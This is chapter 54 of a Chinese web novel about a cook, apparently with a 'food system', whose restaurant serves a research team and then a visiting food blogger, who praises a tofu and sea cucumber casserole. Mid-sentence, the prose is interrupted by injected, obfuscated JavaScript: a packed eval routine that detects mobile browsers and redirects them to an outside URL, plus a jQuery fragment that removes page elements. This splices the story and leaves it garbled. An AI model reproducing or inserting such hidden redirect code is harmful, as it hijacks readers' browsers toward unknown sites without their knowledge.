54. 豆腐海参煲
作品:《当我拥有了美食系统》 宴礼也是有段时间没去林安安的店里吃饭了。
实在是因为最近项目快到收尾的阶段了。
根本腾不出时间。
这段时间里面,吃饭的时间都是挤出来的。
有的时候甚至吃饭都顾不上了。
忙碌的时候没觉得有什么,但是这一忙忘。
宴礼就有点儿想念林安安做的菜了。
都说抓住一个男人的心,首先要抓住这个男人的胃。
宴礼觉得林安安现在已经成功抓住了自己的胃了。
时间长了,真的是想着这一口啊。
正好,今天忙完了这个项目,宴礼中午打算去林安安的店里吃一顿。
宴礼没打算自己一个人。
这不得请项目组的实验员们一起吃一顿啊。
大家听见宴礼要请客吃饭,一个个的都很兴奋。
在那欢呼呢。
宴礼给林安安发了一个微信,说中午11点左右去吃饭,6个人,让她帮忙安排一下菜单。
林安安和大家处理海参呢,看到手机消息的时候已经过去了半个小时了。
林安安赶紧擦了擦手,回复宴礼。
林安安想了一下,六个人的话,上八道菜应该差不多。
【好,八个菜行不,你们有忌口的吗?】
宴礼正在手机上处理一些工作消息,看到林安安发的消息,马上就回了过去。
【十个菜吧,有一个同事花生过敏,不要放花生的菜,其他的都可以,你来定就行。】
林安安回了一个收到的表情包,顿了一下,觉得有些不好,就又补充了一句。
【交给我,放心吧!】
宴礼看到林安安发的话,忍不住笑了一下。
不用看林安安的样子,宴礼就能想象出来林安安活泼的样子。
十道菜的话,一人一半吧。
林安安负责五道,于文齐负责五道。
林安安和于文齐商量了一下,订好了菜单。
林安安发给宴礼确认了一下,宴礼询问了一下大家,都没问题就回了一个OK给林安安。
OK了。
就按照这个来做了。
豆腐海参煲得整6份,罗宋汤、麻婆豆腐、东坡肉、宫保鸡丁这几个一道整一份就行,这些是林安安订的菜单。
于文齐这边订的是清炒时蔬、双椒鸡腿肉、清蒸鲈鱼、西红柿炖牛腩、玉米排骨汤
其他的都好说,这个鲈鱼、玉米和排骨得去买了。
于文齐主动揽下来这个活儿。
于文齐轻车熟路,买完之后回来的巨快。
林安安继续忙着前台客人点的单,于文齐负责处理食材。
分工明确。
林安安定了个闹钟,十一点开始做菜,宴礼他们来了不用等太长时间。
果然,林安安是掌管时间的神。
时间把握的刚刚好。
宴礼他们一群人刚在包厢里面坐下,还没开始热场子呢,菜就上来了。
大家忙了一上午也饿了。
就开始吃饭了。
胡佳佳夹起一段海参,细细品味后,连连称赞道,“这海参处理得真好,软糯又有嚼劲,每一口都是满满的鲜香,一点怪味都没有,这厨师的手艺真的是没话说。”
大家听到胡佳佳的称赞,也纷纷朝着豆腐海参煲伸勺子。
大家一边品尝,一边你一言我一语地夸赞着,从饭菜入手,聊天说地的。
楼下,周亚楠又接待了一位顾客。
这应该是今天中午的最后一位点豆腐海参煲的客人了吧。
周亚楠和陶华,每次接待完一桌客人之后,就对一下数量。
要是卖完了,就把菜单上的这道菜标记为售空。
苏悦是一位美食博主,她在网上刷到过很多次这家店的安利。
令人好奇的是,这家店的所有线上推广都是自来水安利。
换句话说,这家店没在宣传上花过钱,就这样,还有人甘愿为他们家做宣传。
这令苏悦这个美食博主充满了好奇。
所以苏悦决定来店里亲自体验一下,看看到底有什么魔力,让大家自来水安利。
苏悦就带着她的助理,拿着一个手持的小的记录仪,不会特别突兀,两个人低调的去。
苏悦和她的小助理两个人一走进店里,就被店里弥漫的香气吸引住了。
“哇,这里的味道好香啊!”,苏悦的小助理王倩倩兴奋地说道。
“闻着是挺不错的,难怪那么多人推荐。”,苏悦也对于自己接下来的探店之旅也满怀期待。
最起码这个店里的香气让人很安心,不是么?
两个人在陶华的引领下,来到一张靠窗的桌子旁坐下。
点好菜后,两人一边聊天,一边期待着美食的上桌。
不一会儿,陶华端着摆放着热气腾腾的菜的托盘走了过来,一一放到桌子上,“您的菜上齐了,请慢用。”
苏悦看着眼前的这几道菜,眼睛一下子亮了起来。首先抢占眼睛视线的就是豆腐海参煲,黑色的砂锅中,白色的豆腐和褐色的海参在浓稠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197275|163265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的汤汁中若隐若现,上面点缀着些许翠绿的葱花和香菜,令这道菜看上去更加的诱人。
其次就是鱼香肉丝,胡萝卜丝、双色的青椒丝还有肉丝,条条分明,颜色搭配的看上去就很有食欲。
椰香葛根布丁、宫保鸡丁还有清炒时蔬看上去也很不错。
苏悦拿起手机,对着几道菜挨个拍了几张照片。
王倩倩也相当有职业精神,每道菜拍了视频,还给了特写。
王倩倩拿着摄像机对着苏悦开始拍视频。
这些都是素材啊!
苏悦的第一个目标就是豆腐海参煲。
苏悦拿起勺子,舀了一勺汤汁放入口中,“哇,这汤汁太鲜美了!”,苏悦不禁赞叹道。
汤里有一股海鲜的香味结合着鸡汤的浓郁,多种味道在口中交织,形成了一种独特而美妙的口感。
苏悦品尝完汤之后,又拿起筷子尝了一口豆腐。
豆腐入口即化,嫩滑无比,吸收了汤汁的鲜美后,味道更加浓郁。
苏悦对着镜头,由心的赞美道,“这豆腐真的好嫩啊,而且味道好足。”
吃完了豆腐,苏悦夹起一段海参放入口中。海参口感软糯中带着一丝韧性,鲜嫩多汁,充分吸收了汤汁的味道,每一口都充满了浓郁的鲜香。
“这海参也太好吃了吧,又鲜又嫩,处理得恰到好处,一点腥味都没有。”
苏悦一边吃,一边竖起大拇指。
苏悦每道菜都尝过一遍,给出相应的评价和反馈之后。
素材视频就拍完了。
素材视频拍完之后,王倩倩的工作就暂时结束了。
王倩倩也能吃饭了。
王倩倩小心的把设备放好,然后开始和苏悦一起正经的吃饭。
两人一边吃饭,一边闲聊。
王倩倩刚刚拍视频的时候口水都要流出来了。
现在吃上了,有一种终于尘埃落定的赶紧。
美美味味的,很安心。
“我觉得这道菜的制作工艺肯定很讲究,从食材到味道都能吃的出来。”,王倩倩说道。
“是啊,这个食材吃着就很新鲜,厨师的手艺也好。”,苏悦表示赞同。
“难怪这么多自来水安利,真的是黑不出来啊,从味道到服务再到环境,都很完美。”,苏悦说道。
不一会儿,桌子上的菜都被两人吃得见底了。
苏悦意犹未尽地说道,“哈哈,看来今天真的是来对地方了,要不是肚容量有限,我还想再来一份。”
王倩倩也跟着点头。